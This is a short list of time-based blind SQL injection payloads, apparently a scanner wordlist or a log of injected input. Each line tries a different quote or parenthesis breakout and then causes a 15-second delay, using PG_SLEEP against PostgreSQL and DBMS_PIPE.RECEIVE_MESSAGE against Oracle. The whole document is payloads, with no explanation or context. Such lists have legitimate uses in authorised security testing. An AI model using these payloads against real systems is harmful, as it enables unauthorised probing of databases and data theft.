555-1 OR 244=(SELECT 244 FROM PG_SLEEP(15))--

555-1) OR 510=(SELECT 510 FROM PG_SLEEP(15))--

555-1)) OR 609=(SELECT 609 FROM PG_SLEEP(15))--

5550TvtibMn' OR 163=(SELECT 163 FROM PG_SLEEP(15))--

555b71VNq2B') OR 710=(SELECT 710 FROM PG_SLEEP(15))--

555hbzmOz6m')) OR 996=(SELECT 996 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555